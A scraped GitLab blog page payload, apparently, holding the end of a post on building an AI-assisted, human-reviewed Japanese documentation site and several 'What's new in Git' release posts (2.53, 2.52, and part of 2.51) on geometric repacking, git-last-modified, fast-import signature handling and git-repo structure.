details](https://gitlab.com/gitlab-org/technical-writing/docs-gitlab-com/-/blob/main/doc/architecture.md)). This sheer scale and rapid update velocity presented a significant localization challenge. To keep pace with the continuous evolution of these source English projects, we had to design a localization infrastructure for our GitLab product documentation that could handle these unique complexities and provide an enterprise-grade solution for a fully localized site, all while adhering to our CI/CD pipeline requirements.\n\n## How we localized GitLab Documentation\n\nFor our initial Japanese localization, we adopted a strategy of integrating new folders within our existing English content structure. Specifically, we introduced `doc-locale/ja-jp` folders within each project that stores source Markdown files. This architecture [keeps the translations right alongside their source content](https://gitlab.com/gitlab-org/gitlab/-/tree/master/doc-locale/ja-jp) while maintaining a clear organizational separation. Not only that, but it also enables us to apply the same robust version control, established review and collaboration workflows, and even some of the automated quality checks used for our English documentation to the translated content.  \n\nThis [internationalization infrastructure built for Japanese documentation](https://handbook.gitlab.com/handbook/marketing/localization/tech_docs_localization/#multilingual-hugo-docs-implementation) provides a scalable foundation for future language expansion. With the architecture, tooling, and processes now in place, we are well-positioned to support additional languages as we continue our commitment to making GitLab accessible to users worldwide.\n\n## An AI-assisted  translation workflow that balances speed and quality\n\nWe adopted a strategic, phased approach to processing the content through translation, prioritizing pages based on their English-language page views. The highest-traffic pages underwent AI translation first, followed by comprehensive human linguistic review, and we intentionally paused subsequent phases until these priority pages completed the full human review cycle. This deliberate sequencing allowed us to build a robust, curated translation memory and termbase from our most important content. These linguistic assets accelerated and improved quality across all remaining content. In parallel, this initial phase served as our testing ground on the technical infrastructure on the GitLab side. We used it to iterate and reinforce our CI/CD pipelines, refine our translation and post-editing AI scripts, and solidify our Translation MR review process.\n\nTo provide our international users with the most current documentation while guaranteeing high-quality translated content, [we implemented an AI-assisted translation workflow with human post-editing](https://handbook.gitlab.com/handbook/marketing/localization/tech_docs_localization/#translation-workflow), consisting of:\n\n* Phase 1: AI-powered translation. We built a custom AI translation system enriched with GitLab-specific context including style guides, GitLab UI content translations, terminology databases, and original file context. This system intelligently handles GitLab's specialized markdown syntax (GLFM) and protects elements like placeholder variables, alert boxes, Hugo shortcodes, and GitLab-specific references that standard translation tools can't process out of the box.   \n* Phase 2: Human linguistic review. Professional Japanese translators specialized in technical content then review and refine the AI translations. They work with GitLab's Japanese style guide, translation memory, and terminology database to ensure accuracy, natural language flow, and cultural appropriateness. These human-reviewed translations progressively replace the AI versions on the site.\n\n## Technical challenges and solutions\n\nLocalizing GitLab's extensive documentation, while maintaining our docs-as-code principles and CI/CD-driven publishing workflow, required significant technical innovation. The challenges extended beyond translation itself: we needed to preserve complex markdown syntax, maintain automated testing standards, ensure seamless content fallbacks, and create sustainable processes for continuous updates across multiple source projects.\n\nThe English **markdown file syntax complexity** led us to developing custom code and regex in our Translation Management System (TMS) to protect codeblocks, URLs, and other functional elements that should not be exposed for translation.\n\n![Translation Management System](https://res.cloudinary.com/about-gitlab-com/image/upload/v1765299311/x3oglow15o5z6xthgxfn.png)\n\nDue to the dynamics of how the English content is generated, we established an **English fallback mechanism.** Essentially, when the Japanese translation is not ready yet, the localized site seamlessly displays English content with translated navigation and UI, preventing 404s and maintaining language context via Hugo’s rendering system.\n\nWe enhanced the localized navigation and linking so that it adjusts dynamically and would persist the locale. We added **anchor IDs** in the translated files by pre-processing the English file before it’s sent for translation. That improves the experience for people navigating to a docs page from a link. The consistent anchor ID means they can change to either language and still land in the correct place in the page.\n\n![English fallback mechanism](https://res.cloudinary.com/about-gitlab-com/image/upload/v1765299310/uqimyjm0ltvpcnc7bowk.png)\n\n[We also extended CI/CD pipelines](https://gitlab.com/groups/gitlab-com/localization/-/work_items/109) to test localized content in Translation MRs following the same quality standards as the English docs. It allows us to catch invalid Hugo shortcodes, spaces inside links, or bare URLs. It also identifies orphaned files and redirects files with no target files. You can see the jobs that run on the MRs containing translated documentation [on the GitLab project  `.gitlab/ci/docs.gitlab-ci.yml` file](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/docs.gitlab-ci.yml). \n\nA centralized translation request system orchestrates the workflow, monitors the English files, identifies new and updated content, routes files for translation, automatically creates translation merge requests, tracks file status in translation requests and maintains an audit trail. To get docs translated [we processed 430 Translation MRs](https://gitlab.com/groups/gitlab-com/localization/tech-docs-forked-projects/prod/-/merge_requests/?sort=updated_asc&state=merged&label_name%5B%5D=gitlab-translation-service&label_name%5B%5D=translation-upstream%3A%3A%20complete&first_page_size=100) with files ranging from 1-10 in each Translation MR.\n\n![Translation MRs](https://res.cloudinary.com/about-gitlab-com/image/upload/v1765299311/fgbrtapbmclj4pvdjh9k.png)\n\nThe result is a Japanese documentation experience that stays synchronized with English content updates, giving users faster access to critical information. Users can discover and navigate content fully in their language, with English appearing only for content that’s still in translation. They can trust GitLab’s quality standards while accessing the latest features quickly. All of this creates a sustainable, scalable foundation for future languages and documentation growth.\n\nLearn more about all the technical details in our [GitLab Product Documentation Handbook page](https://handbook.gitlab.com/handbook/marketing/localization/tech_docs_localization/).\n\n## Visit our Japanese docs site\n\nWhether you're a longtime GitLab user or just getting started, we hope this localized documentation makes your DevSecOps journey smoother and more accessible.\n\nThis is just the beginning of our localization efforts, and your feedback is invaluable in helping us improve. If you notice any translation issues, have suggestions for improvement, or simply want to share your experience using the Japanese documentation, please don't hesitate to reach out. You can provide comments in our [feedback issue](https://gitlab.com/gitlab-com/localization/docs-site-localization/-/work_items/782).\n\nAs we continue evolving this localization infrastructure, our immediate priorities include enhancing the search experience for Japanese users, and accelerating our continuous localization workflow to minimize the time gap between English updates and their Japanese translations. Thank you to our Japanese community for your continued support and patience as we work to serve you better. We're committed to making GitLab the best DevSecOps platform for Japanese teams, and comprehensive Japanese documentation is a crucial step in that journey.\n\n> Start exploring today at [docs.gitlab.com/ja-jp](https://docs.gitlab.com/ja-jp)!",[774,751],{"featured":13,"template":810,"slug":1073},"how-we-built-and-automated-our-new-japanese-gitlab-docs-site",{"category":761,"slug":763,"posts":1075},[1076,1088,1101],{"content":1077,"config":1086},{"title":1078,"description":1079,"authors":1080,"date":1082,"body":1083,"heroImage":1084,"category":763,"tags":1085},"What’s new in Git 2.53.0?","Learn about release contributions, including fixes for geometric repacking, updates to git-fast-import(1) commit signature handing options, and more.",[1081],"Justin Tobler","2026-02-02","The Git project recently released [Git 2.53.0](https://lore.kernel.org/git/xmqq4inz13e3.fsf@gitster.g/T/#u). Let's look at a few notable highlights from this release, which includes\ncontributions from the Git team at GitLab.\n\n## Geometric repacking support with promisor remotes\n\nNewly written objects in a Git repository are often stored as individual loose files. To ensure good performance and optimal use of disk space, these loose objects are regularly compressed into so-called packfiles. The number of packfiles in a repository grows over time as a result of the user’s activities, like writing new commits or fetching from a remote. As the number of packfiles in a repository increases, Git has to do more work to look up individual objects. Therefore, to preserve optimal repository performance, packfiles are periodically repacked via git-repack(1) to consolidate the objects into fewer packfiles. When repacking there are two strategies: “all-into-one” and “geometric”.\n\nThe all-into-one strategy is fairly straightforward and the current default. As its name implies, all objects in the repository are packed into a single packfile. From a performance perspective this is great for the repository as Git only has to scan through a single packfile when looking up objects. The main downside of such a repacking strategy is that computing a single packfile for a repository can take a significant amount of time for large repositories.\n\nThe geometric strategy helps mitigate this concern by maintaining a geometric progression of packfiles based on their size instead of always repacking into a single packfile. To explain more plainly, when repacking Git maintains a set of packfiles ordered by size where each packfile in the sequence is expected to be at least twice the size of the preceding packfile. If a packfile in the sequence violates this property, packfiles are combined as needed until the progression is restored. This strategy has the advantage of still minimizing the number of packfiles in a repository while also minimizing the amount of work that must be done for most repacking operations.\n\nOne problem with the geometric repacking strategy was that it was not compatible with partial clones. Partial clones allow the user to clone only parts of a repository by, for example, skipping all blobs larger than 1 megabyte. This can significantly reduce the size of a repository, and Git knows how to backfill missing objects that it needs to access at a later point in time.\n\nThe result is a repository that is missing some objects, and any object that may not be fully connected is stored in a “promisor” packfile.  When repacking, this promisor property needs to be retained going forward for packfiles containing a promisor object so it is known whether a missing object is expected and can be backfilled from the promisor remote. With an all-into-one repack, Git knows how to handle promisor objects properly and stores them in a separate promisor packfile. Unfortunately, the geometric repacking strategy did not know to give special treatment to promisor packfiles and instead would merge them with normal packfiles without considering whether they reference promisor objects. Luckily, due to a bug the underlying git-pack-objects(1) dies when using geometric repacking in a partial clone repository. So this means repositories in this configuration were not able to be repacked anyways which isn’t great, but better than repository corruption.\n\nWith the release of Git 2.53, geometric repacking now works with partial clone repositories. When performing a geometric repack, promisor packfiles are handled separately in order to preserve the promisor marker and repacked following a separate geometric progression. With this fix, the geometric strategy moves closer towards becoming the default repacking strategy. For more information check out the corresponding [mailing list thread](https://lore.kernel.org/git/20260105-pks-geometric-repack-with-promisors-v1-0-c4660573437e@pks.im/).\n\nThis project was led by [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n## git-fast-import(1) learned to preserve only valid signatures\n\nIn our [Git 2.52 release article](https://about.gitlab.com/blog/whats-new-in-git-2-52-0/), we covered signature related improvements to git-fast-import(1) and git-fast-export(1). Be sure to check out that post for a more detailed explanation of these commands, how they are used, and the changes being made with regards to signatures.\n\nTo quickly recap, git-fast-import(1) provides a backend to efficiently import data into a repository and is used by tools such as [git-filter-repo(1)](https://github.com/newren/git-filter-repo) to help rewrite the history of a repository in bulk. In the Git 2.52 release, git-fast-import(1) learned the `--signed-commits=\u003Cmode>` option similar to the same option in git-fast-export(1). With this option, it became possible to unconditionally retain or strip signatures from commits/tags.\n\nIn situations where only part of the repository history has been rewritten, any signature for rewritten commits/tags becomes invalid. This means git-fast-import(1) is limited to either stripping all signatures or keeping all signatures even if they have become invalid. But retaining invalid signatures doesn’t make much sense, so rewriting history with git-repo-filter(1) results in all signatures being stripped, even if the underlying commit/tag is not rewritten. This is unfortunate because if the commit/tag is unchanged, its signature is still valid and thus there is no real reason to strip it. What is really needed is a means to preserve signatures for unchanged objects, but strip invalid ones.\n\nWith the release of Git 2.53, the git-fast-import(1) `--signed-commits=\u003Cmode>` option has learned a new `strip-if-invalid` mode which, when specified, only strips signatures from commits that become invalid due to being rewritten. Thus, with this option it becomes possible to preserve some commit signatures when using git-fast-import(1). This is a critical step towards providing the foundation for tools like git-repo-filter(1) to preserve valid signatures and eventually re-sign invalid signatures.\n\nThis project was led by [Christian Couder](https://gitlab.com/chriscool).\n\n## More data collected in git-repo-structure\n\nIn the Git 2.52 release, the “structure” subcommand was introduced to git-repo(1). The intent of this command was to collect information about the repository and eventually become a native replacement for tools such as [git-sizer(1)](https://github.com/github/git-sizer). At GitLab, we host some extremely large repositories, and having insight into the general structure of a repository is critical to understand its performance characteristics. In this release, the command now also collects total size information for reachable objects in a repository to help understand the overall size of the repository. In the output below, you can see the command now collects both the total inflated and disk sizes of reachable objects by object type.\n\n```shell\n$ git repo structure\n\n| Repository structure | Value      |\n| -------------------- | ---------- |\n| * References         |            |\n|   * Count            |   1.78 k   |\n|     * Branches       |      5     |\n|     * Tags           |   1.03 k   |\n|     * Remotes        |    749     |\n|     * Others         |      0     |\n|                      |            |\n| * Reachable objects  |            |\n|   * Count            | 421.37 k   |\n|     * Commits        |  88.03 k   |\n|     * Trees          | 169.95 k   |\n|     * Blobs          | 162.40 k   |\n|     * Tags           |    994     |\n|   * Inflated size    |   7.61 GiB |\n|     * Commits        |  60.95 MiB |\n|     * Trees          |   2.44 GiB |\n|     * Blobs          |   5.11 GiB |\n|     * Tags           | 731.73 KiB |\n|   * Disk size        | 301.50 MiB |\n|     * Commits        |  33.57 MiB |\n|     * Trees          |  77.92 MiB |\n|     * Blobs          | 189.44 MiB |\n|     * Tags           | 578.13 KiB |\n```\n\nThe keen-eyed among you may have also noticed that the size values in the table output are also now listed in a more human-friendly manner with units appended. In subsequent releases we hope to further expand this command's output to provide additional data points such as the largest individual objects in the repository.\n\nThis project was led by [Justin Tobler](https://gitlab.com/justintobler).\n\n## Read more\n\nThis article highlighted just a few of the contributions made by GitLab and\nthe wider Git community for this latest release. You can learn about these from\nthe [official release announcement](https://lore.kernel.org/git/xmqq4inz13e3.fsf@gitster.g/T/#u) of the Git project. Also, check\nout our [previous Git release blog posts](https://about.gitlab.com/blog/tags/git/)\nto see other past highlights of contributions from GitLab team members.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663087/Blog/Hero%20Images/git3-cover.png",[930,1023,242],{"featured":13,"template":810,"slug":1087},"whats-new-in-git-2-53-0",{"content":1089,"config":1099},{"title":1090,"description":1091,"authors":1092,"heroImage":1084,"date":1096,"body":1097,"category":763,"tags":1098},"What’s new in Git 2.52.0?","Learn about release contributions, including the new git-last-modified(1) command, improvements to history-rewriting tools, and a new maintenance strategy.",[1093,1094,1095],"Christian Couder","Toon Claes","Patrick Steinhardt","2025-11-17","The Git project recently released [Git 2.52](https://lore.kernel.org/git/xmqqh5usmvsd.fsf@gitster.g/). After a relatively short 8-week [release cycle for 2.51](https://about.gitlab.com/blog/what-s-new-in-git-2-51-0/), due to summer in the Northern Hemisphere, this release is back to the usual 12-week cycle. Let’s look at some notable changes, including contributions from the GitLab Git team and the wider Git community.\n\n## New git-last-modified(1) command\n\nMany Git forges like GitLab display files in a tree view like this:\n\n\n| Name        | Last commit                                             | Last update  |\n| ------------- | --------------------------------------------------------- | -------------- |\n| README.md   | README: *.txt -> *.adoc fixes                           | 4 months ago |\n| RelNotes    | Start 2.51 cycle, the first batch                       | 4 weeks ago  |\n| SECURITY.md | SECURITY: describe how to report vulnerabilities        | 4 years      |\n| abspath.c   | abspath: move related functions to abspath              | 2 years      |\n| abspath.h   | abspath: move related functions to abspath              | 2 years      |\n| aclocal.m4  | configure: use AC_LANG_PROGRAM consistently             | 15 years ago |\n| add-patch.c | pager: stop using `the_repository`                      | 7 months ago |\n| advice.c    | advice: allow disabling default branch name advice      | 4 months ago |\n| advice.h    | advice: allow disabling default branch name advice      | 4 months ago |\n| alias.h     | rebase -m: fix serialization of strategy options        | 2 years      |\n| alloc.h     | git-compat-util: move alloc macros to git-compat-util.h | 2 years ago  |\n| apply.c     | apply: only write intents to add for new files          | 8 days ago   |\n| archive.c   | Merge branch 'ps/parse-options-integers'                | 3 months ago |\n| archive.h   | archive.h: remove unnecessary include                   | 1 year       |\n| attr.h      | fuzz: port fuzz-parse-attr-line from OSS-Fuzz           | 9 months ago |\n| banned.h    | banned.h: mark `strtok()` and `strtok_r()` as banned    | 2 years      |\n\n\n\u003Cbr>\u003C/br>\n\nNext to the files themselves, we also display which commit last modified each respective file. This information is easy to extract from Git by executing the following command:\n\n\n```shell\n\n$ git log --max-count=1 HEAD -- \u003Cfilename>\n\n```\n\nWhile nice and simple, this has a significant catch: Git does not have a way to extract this information for each of these files in a single command. So to get the last commit for all the files in the tree, we'd need to run this command for each file separately. This results in a command pipeline similar to the following:\n\n```shell\n\n$ git ls-tree HEAD --name-only | xargs --max-args=1 git log --max-count=1 HEAD --\n\n```\n\nNaturally, this isn't very efficient:\n\n\n* We need to spin up a fresh Git command for each file.\n\n\n* Git has to step through history for each file separately.\n\n\n\nAs a consequence, this whole operation is quite costly and generates significant load for GitLab.\n\n\n\nTo overcome these issues, a new Git subcommand `git-last-modified(1)` has been introduced. This command returns the commit for each file of a given commit:\n\n\n\n```shell\n\n$ git last-modified HEAD\n\n\ne56f6dcd7b4c90192018e848d0810f091d092913        add-patch.c\n373ad8917beb99dc643b6e7f5c117a294384a57e        advice.h\ne9330ae4b820147c98e723399e9438c8bee60a80        advice.c\n5e2feb5ca692c5c4d39b11e1ffa056911dd7dfd3        alloc.h\n954d33a9757fcfab723a824116902f1eb16e05f7        RelNotes\n4ce0caa7cc27d50ee1bedf1dff03f13be4c54c1f        apply.c\n5d215a7b3eb0a9a69c0cb9aa43dcae956a0aa03e        archive.c\nc50fbb2dd225e7e82abba4380423ae105089f4d7        README.md\n72686d4e5e9a7236b9716368d86fae5bf1ae6156        attr.h\nc2c4138c07ca4d5ffc41ace0bfda0f189d3e262e        archive.h\n5d1344b4973c8ea4904005f3bb51a47334ebb370        abspath.c\n5d1344b4973c8ea4904005f3bb51a47334ebb370        abspath.h\n60ff56f50372c1498718938ef504e744fe011ffb        banned.h\n4960e5c7bdd399e791353bc6c551f09298746f61        alias.h\n2e99b1e383d2da56c81d7ab7dd849e9dab5b7bf0        SECURITY.md\n1e58dba142c673c59fbb9d10aeecf62217d4fc9c        aclocal.m4\n```\n\n\n\nThe benefit of this is obviously that we only have to execute a single Git process now to derive all of that information. But even more importantly, it only requires us to walk the history once for all files together instead of having to walk it multiple times. This is achieved by:\n\n\n1. Start walking the history from the specified commit.\n\n\n2. For each commit:\n   1. If it doesn't modify any of the paths we're interested in we continue to the next commit.\n   2. If it does, we print the commit ID together with the path. Furthermore, we remove the path from the set of interesting paths.\n3. When the list of interesting paths becomes empty we stop.\n\n\n\nGitaly has already been adjusted to use the new command, but the logic is still guarded by a feature flag. Preliminary testing has shown that `git-last-modified(1)` is in most situations at least twice as fast compared to using `git log --max-count=1`.\n\n\n\n*These changes were [originally written](https://github.com/ttaylorr/git/tree/tb/blame-tree) by multiple developers from GitHub and were [upstreamed](https://lore.kernel.org/git/20250805093358.1791633-1-toon@iotcl.com/) into Git by [Toon Claes](https://gitlab.com/toon).*\n\n\n\n## git-fast-export(1) and git-fast-import(1) signature-related improvements\n\n\n\nThe `git-fast-export(1)` and `git-fast-import(1)` commands are designed to be mostly used by interoperability or history rewriting tools. The goal of interoperability tools is to make Git interact nicely with other software, usually a different version control system, that stores data in a different format than Git. For example [hg-fast-export.sh](https://github.com/frej/fast-export) is a “Mercurial to Git converter using git-fast-import.\"\n\n\n\nAlternately, history-rewriting tools let users — usually admins — make changes to the history of their repositories that are not possible or not allowed by the version control system. For example, [reposurgeon](http://www.catb.org/esr/reposurgeon/) says in its [introduction](https://gitlab.com/esr/reposurgeon/-/blob/master/repository-editing.adoc?ref_type=heads#introduction) that its purpose is “to enable risky operations that version-control systems don't want to let you do, such as (a) editing past comments and metadata, (b) excising commits, (c) coalescing and splitting commits, (d) removing files and subtrees from repo history, (e) merging or grafting two or more repos, and (f) cutting a repo in two by cutting a parent-child link, preserving the branch structure of both child repos.\"\n\n\n\nWithin GitLab, we use [git-filter-repo](https://github.com/newren/git-filter-repo) to let admins perform some risky operations on their Git repositories. Unfortunately, until Git 2.50 (released last June), both `git-fast-export(1)` and `git-fast-import(1)` didn't handle cryptographic commit signatures at all. So, although `git-fast-export(1)` had a `--signed-tags=\u003Cmode>` option that allows users to change how cryptographic tag signatures are handled, commit signatures were simply ignored.\n\n\n\nCryptographic signatures are very fragile because they are based on the exact commit or tag data that was signed. When the signed data or any of its preceding history changes, the cryptographic signature becomes invalid. This is a fragile but necessary requirement to make these signatures useful.\n\n\n\nBut in the context of rewriting history this is a problem:\n\n\n\n* We may want to keep cryptographic signatures for both commits and tags that are still valid after the rewrite (e.g. because the history leading up to them did not change).\n\n\n* We may want to create new cryptographic signatures for commits and tags where the previous signature has become invalid.\n\n\n\nNeither `git-fast-import(1)` nor `git-fast-export(1)` allow for these use cases though, which limits what tools like [git-filter-repo](https://github.com/newren/git-filter-repo) or [reposurgeon](http://www.catb.org/esr/reposurgeon/) can achieve.\n\n\n\nWe have made some significant progress:\n\n\n\n* In Git 2.50 we added a `--signed-commits=\u003Cmode>` option to `git-fast-export(1)` for exporting commit signatures, and support in `git-fast-import(1)` for importing them.\n\n\n* In Git 2.51 we improved the format used for exporting and importing commit signatures, and we made it possible for `git-fast-import(1)` to import both a signature made on the SHA-1 object ID of the commit and one made on its SHA-256 object ID.\n\n\n* In Git 2.52 we added the `--signed-commits=\u003Cmode>` and `--signed-tags=\u003Cmode>` options to `git-fast-import(1)`, so the user has control over how to handle signed data at import time.\n\n\n\nThere is still more to be done. We need to add the ability to:\n\n\n\n* Retain only those commit signatures that are still valid to `git-fast-import(1)`.\n\n\n* Re-sign data where the signature became invalid.\n\n\n\nWe have already started to work on these next steps and expect this to land in Git 2.53. Once done, tools like `git-filter-repo(1)` will finally start to handle cryptographic signatures more gracefully. We will keep you posted in our next Git release blog post.\n\n\n\n*This project was led by [Christian Couder](https://gitlab.com/chriscool).*\n\n\n\n## New and improved git-maintenance(1) strategies\n\n\n\nGit repositories require regular maintenance to ensure that they perform well. This maintenance performs a bunch of different tasks: references get optimized, objects get compressed, and stale data gets pruned.\n\n\n\nUntil Git 2.28, these maintenance tasks were performed by `git-gc(1)`. The problem with this command is that it wasn't built with customizability in mind: While certain parameters can be configured, it is not possible to control which parts of a repository should be optimized. This means that it may not be a good fit for all use cases. Even more importantly, it made it very hard to iterate on how exactly Git performs repository maintenance.\n\n\n\nTo fix this issue and allow us to iterate again, [Derrick Stolee](https://github.com/derrickstolee) introduced `git-maintenance(1)`. In contrast to `git-gc(1),` it is built with customizability in mind and allows the user to configure which tasks specifically should be running in a certain repository. This new tool was made the default for Git’s automated maintenance in Git 2.29, but, by default, it still uses `git-gc(1)` to perform the maintenance.\n\n\n\nWhile this default maintenance strategy works well in small or even medium-sized repositories, it is problematic in the context of large monorepos. The biggest limiting factor is how `git-gc(1)` repacks objects: Whenever there are more than 50 packfiles, the tool will merge all of them together into a single packfile. This operation is quite CPU-intensive and causes a lot of I/O operations, so for large monorepos this operation can easily take many minutes or even hours to complete.\n\n\n\nGit already knows how to minimize these repacks via “geometric repacking.” The idea is simple: The packfiles that exist in the repository must follow a geometric progression where every packfile must contain at least twice as many objects as the next smaller one. This allows Git to amortize the number of repacks required while still ensuring that there is only a relatively small number of packfiles overall. This mode was introduced by [Taylor Blau](https://github.com/ttaylorr) in Git 2.32, but it was not wired up as part of the automated maintenance.\n\n\n\nAll the parts exist to make repository maintenance way more scalable for large monorepos: We have the flexible `git-maintenance(1)` tool that can be extended to have a new maintenance strategy, and we have a better way to repack objects. All that needs to be done is to combine these two.\n\n\n\nAnd that's exactly what we did with Git 2.52! We have introduced a new “geometric” maintenance strategy that you can configure in your Git repositories. This strategy is intended as a full replacement for the old strategy based on `git-gc(1)`. Here is the config code you need:\n\n\n\n```shell\n\n$ git config set maintenance.strategy geometric\n\n```\n\n\n\nFrom hereon, Git will use geometric repacking to optimize your objects. This should lead to less churn while ensuring that your objects are in a better-optimized state, especially in large monorepos.\n\n\n\nIn Git 2.53, we aim to make this the default strategy. So stay tuned!\n\n\n\n*This project was led by [Patrick Steinhardt](https://gitlab.com/pks-gitlab).*\n\n\n\n## New subcommand for git-repo(1) to display repository metrics\n\n\n\nPerformance of Git operations in a repository are often dependent on certain characteristics of its underlying structure. At GitLab, we host some extremely large repositories and having insight into the general structure of a repository is critical to understand performance. While it is possible to compose various Git commands and other tools together to surface certain repository metrics, Git lacks a means to surface info about a repository's shape/structure via a single command. This has led to the development of other external tools, such as [git-sizer(1)](https://github.com/github/git-sizer), to fill this gap.\n\n\n\nWith the release of Git 2.52, a new “structure” subcommand has been added to git-repo(1) with the aim to surface information about a repository's structure. Currently, it displays info about the number of references and objects in the repository in the following form:\n\n\n\n```shell\n\n$ git repo structure\n\n\n| Repository structure | Value  |\n| -------------------- | ------ |\n| * References         |        |\n|   * Count            |   1772 |\n|     * Branches       |      3 |\n|     * Tags           |   1025 |\n|     * Remotes        |    744 |\n|     * Others         |      0 |\n|                      |        |\n| * Reachable objects  |        |\n|   * Count            | 418958 |\n|     * Commits        |  87468 |\n|     * Trees          | 168866 |\n|     * Blobs          | 161632 |\n|     * Tags           |    992 |\n\n```\n\n\n\nIn subsequent releases we hope to expand on this and provide other interesting data points like the largest objects in the repository.\n\n\n\n*This project was led by [Justin Tobler](https://gitlab.com/justintobler).*\n\n\n\n## Improvements related to the Google Summer of Code 2025\n\n\n\nWe had three successful projects with the Google Summer of Code.\n\n\n\n### Refactoring in order to reduce Git's global state\n\n\n\nGit contains several global variables used throughout the codebase. This increases the complexity of the code and reduces the maintainability. As part of this project, [Ayush Chandekar](https://ayu-ch.github.io/) worked on reducing the usage of the `the_repository` global variable via a series of patches.\n\n\n\n*The project was mentored by [Christian Couder](https://gitlab.com/chriscool) and [Ghanshyam Thakkar](https://in.linkedin.com/in/ghanshyam-thakkar).*\n\n\n\n### Machine-readable Repository Information Query Tool\n\n\n\nGit lacks a centralized way to retrieve repository information, requiring users to piece it together from various commands. While `git-rev-parse(1)` has become the de-facto tool for accessing much of this information, doing so falls outside its primary purpose.\n\n\n\nAs part of this project, [Lucas Oshiro](https://lucasoshiro.github.io/en/) introduced a new command, `git-repo(1),` which will house all repository-level information. Users can now use `git repo info` to obtain repository information:\n\n\n\n```shell\n\n$ git repo info layout.bare layout.shallow object.format references.format\n\nlayout.bare=false\nlayout.shallow=false\nobject.format=sha1\nreferences.format=reftable\n\n```\n\n\n\n*The project was mentored by [Patrick Steinhardt](https://gitlab.com/pks-gitlab) and [Karthik Nayak](https://gitlab.com/knayakgl).*\n\n\n\n### Consolidate ref-related functionality into git-refs\n\n\n\nGit offers multiple commands for managing references, namely `git-for-each-ref(1)`, `git show-ref(1)`, `git-update-ref(1)`, and `git-pack-refs(1)`. This makes them harder to discover and creates overlapping functionality. To address this, we introduced the `git-refs(1)` command to consolidate these operations under a single interface. As part of this this project, [Meet Soni](https://inosmeet.github.io/) extended the command by adding the following subcommands:\n\n\n\n* `git refs optimize` to optimize the reference backend\n\n\n* `git refs list` to list all references\n\n\n* `git refs exists` to verify the existence of a reference\n\n\n\n*The project was mentored by [Patrick Steinhardt](https://gitlab.com/pks-gitlab) and [shejialuo](https://luolibrary.com/).*\n\n\n\n## What's next?\n\n\n\nReady to experience these improvements? Update to Git 2.52.0 and start using `git last-modified`.\n\n\n\nAt GitLab, we will of course ensure that all of these improvements will eventually land in a GitLab instance near you!\n\n\n\nLearn more in the [official Git 2.52.0 release notes](https://lore.kernel.org/git/xmqqh5usmvsd.fsf@gitster.g/) and explore our [complete archive of Git development coverage](https://about.gitlab.com/blog/tags/git/).\n",[930,1023,242],{"featured":13,"template":810,"slug":1100},"whats-new-in-git-2-52-0",{"content":1102,"config":1110},{"title":1103,"description":1104,"authors":1105,"heroImage":1084,"date":1107,"body":1108,"category":763,"tags":1109},"What’s new in Git 2.51.0?","Learn about the latest contributions from GitLab's Git team and the Git community, including performance optimizations for git-push(1) and git-fetch(1).",[1106],"Karthik Nayak","2025-08-18","The Git project recently released [Git 2.51](https://lore.kernel.org/git/xmqqikikk1hr.fsf@gitster.g/T/#u). Due to summer in the Northern Hemisphere and slower progress, this release cycle was on the shorter side of 8 weeks (typically a release cycle lasts about 12 weeks). Let’s look at some notable changes in this release, including contributions from the Git team at GitLab and also the wider Git community.\n\n## Performance optimizations for `git-push(1)` and `git-fetch(1)`\n\nThe `git-push(1)` and `git-fetch(1)` commands allow users to synchronize local and remote repositories. Part of the operation involves updating references in the repository. In repositories with many references, this can take significant time, especially for users who work with large development environments, monorepos, or repositories with extensive CI/CD pipelines.\nGit reference transactions can include multiple reference updates, but they follow an all-or-nothing approach. If any single update within the transaction fails, the entire transaction fails and none of the reference updates are applied. But reference updates as part of `git-push(1)` and `git-fetch(1)` are allowed to fail, which allows repositories to synchronize a subset of references even in the case where a different subset has diverged. To facilitate this behavior, Git creates a separate transaction for each reference update, allowing some transactions to fail while the rest succeed. \nCreating a separate transaction per update incurs significant overhead, as each transaction includes an initiation and teardown phase and also checks for whether there are conflicting reference names. The “reftable” backend also performs auto-compaction at the end of a transaction, so multiple transactions would trigger multiple auto-compactions, which would drastically increase the latency of the command. \nIn Git 2.51.0, these commands now use batched updates instead of separate transactions. Batched updates allow updating multiple references under a single transaction, while still allowing some updates to fail. This removes the overhead and scales better with the number of references to be updated, since only a single transaction is used. This significantly improves the performance of the “reftable” backend, which now outperforms the “files” backend. Users can reap these performance improvements without needing to make any changes.\nFor `git-fetch(1)` we see a *22x performance improvement for the “reftable” backend* and *1.25x improvement for the “files” backend* when used in a repository with 10,000 references.\n\n```text\nBenchmark 1: fetch: many refs (refformat = reftable, refcount = 10000, revision = master)\n  Time (mean ± σ):      3.403 s ±  0.775 s    [User: 1.875 s, System: 1.417 s]\n  Range (min … max):    2.454 s …  4.529 s    10 runs\n\nBenchmark 2: fetch: many refs (refformat = reftable, refcount = 10000, revision = HEAD)\n  Time (mean ± σ):     154.3 ms ±  17.6 ms    [User: 102.5 ms, System: 56.1 ms]\n  Range (min … max):   145.2 ms … 220.5 ms    18 runs\n\nSummary\n  fetch: many refs (refformat = reftable, refcount = 10000, revision = HEAD) ran\n   22.06 ± 5.62 times faster than fetch: many refs (refformat = reftable, refcount = 10000, revision = master)\n\nBenchmark 1: fetch: many refs (refformat = files, refcount = 10000, revision = master)\n  Time (mean ± σ):     605.5 ms ±   9.4 ms    [User: 117.8 ms, System: 483.3 ms]\n  Range (min … max):   595.6 ms … 621.5 ms    10 runs\n\nBenchmark 2: fetch: many refs (refformat = files, refcount = 10000, revision = HEAD)\n  Time (mean ± σ):     485.8 ms ±   4.3 ms    [User: 91.1 ms, System: 396.7 ms]\n  Range (min … max):   477.6 ms … 494.3 ms    10 runs\n\nSummary\n  fetch: many refs (refformat = files, refcount = 10000, revision = HEAD) ran\n    1.25 ± 0.02 times faster than fetch: many refs (refformat = files, refcount = 10000, revision = master)\n\n```\n\nFor `git-push(1)` we see a *18x performance improvement for the reftable backend* and *1.21x improvement for the “files” backend* when used in a repository with 10,000 references.\n\n```text\nBenchmark 1: push: many refs (refformat = reftable, refcount = 10000, revision = master)\n  Time (mean ± σ):      4.276 s ±  0.078 s    [User: 0.796 s, System: 3.318 s]\n  Range (min … max):    4.185 s …  4.430 s    10 runs\n\nBenchmark 2: push: many refs (refformat = reftable, refcount = 10000, revision = HEAD)\n  Time (mean ± σ):     235.4 ms ±   6.9 ms    [User: 75.4 ms, System: 157.3 ms]\n  Range (min … max):   228.5 ms … 254.2 ms    11 runs\n\nSummary\n  push: many refs (refformat = reftable, refcount = 10000, revision = HEAD) ran\n   18.16 ± 